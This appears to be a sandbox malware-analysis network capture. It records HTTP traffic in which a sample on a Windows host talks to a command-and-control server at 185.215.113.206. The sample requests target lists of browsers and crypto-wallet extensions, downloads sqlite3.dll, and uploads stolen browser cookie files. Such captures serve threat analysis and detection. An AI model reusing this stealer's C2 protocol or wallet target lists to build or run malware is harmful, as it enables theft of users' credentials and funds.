Nov 12, 2024 13:35:07.770735979 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4e 6b 5a 6a 67 34 4e 54 51 30 5a 6a 4e 6c 4f 57 4e 6a 4d 47 49 35 59 6d 56 6d 59 6a 41 78 59 6a 4d 35 59 32 4e 68 4d 54 51 30 59 32 59 34 4d 7a 6b 7a 4d 32 46 6b 4f 57 55 32 5a 54 5a 6b 59 6d 49 30 4d 54 56 69 5a 44 64 6b 4e 44 4e 69 5a 6d 51 33 4f 44 45 32 59 57 59 77 59 57 59 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDNkZjg4NTQ0ZjNlOWNjMGI5YmVmYjAxYjM5Y2NhMTQ0Y2Y4MzkzM2FkOWU2ZTZkYmI0MTViZDdkNDNiZmQ3ODE2YWYwYWY2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 13:35:07.772403955 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 2d 2d 0d 0a Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="message"browsers------JKFHIIEHIEGDHJJJKFII--
Nov 12, 2024 13:35:08.058749914 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 13:35:08.058896065 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 13:35:08.069756985 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"plugins------DAFBGHCAKKFCAKEBKJKK--
Nov 12, 2024 13:35:08.355654001 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 13:35:08.355906010 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 12, 2024 13:35:08.355916977 CET	424	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 12, 2024 13:35:08.356024027 CET	1236	IN	Data Raw: 61 6d 39 75 59 6d 5a 69 5a 32 46 76 59 33 77 78 66 44 42 38 4d 48 78 48 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 Data Ascii: am9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWl
Nov 12, 2024 13:35:08.356034994 CET	1236	IN	Data Raw: 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 Data Ascii: Z2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV
Nov 12, 2024 13:35:08.356492996 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWd
Nov 12, 2024 13:35:08.356503010 CET	336	IN	Data Raw: 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 Data Ascii: MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2V
Nov 12, 2024 13:35:08.356754065 CET	404	IN	Data Raw: 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 Data Ascii: amxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmt
Nov 12, 2024 13:35:08.359215975 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 2d 2d 0d 0a Data Ascii: ------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="message"fplugins------IIEHCFIDHIDGIDHJEHID--
Nov 12, 2024 13:35:08.646493912 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 13:35:08.663441896 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.215.113.206 Content-Length: 6819 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:35:08.663491964 CET	6819	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 13:35:09.481715918 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:09.795891047 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:10.079050064 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 12, 2024 13:35:10.079247952 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49778	185.215.113.206	80	5320	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:35:21.362528086 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AFBFHDBKJEGHJJJKFIIJ--
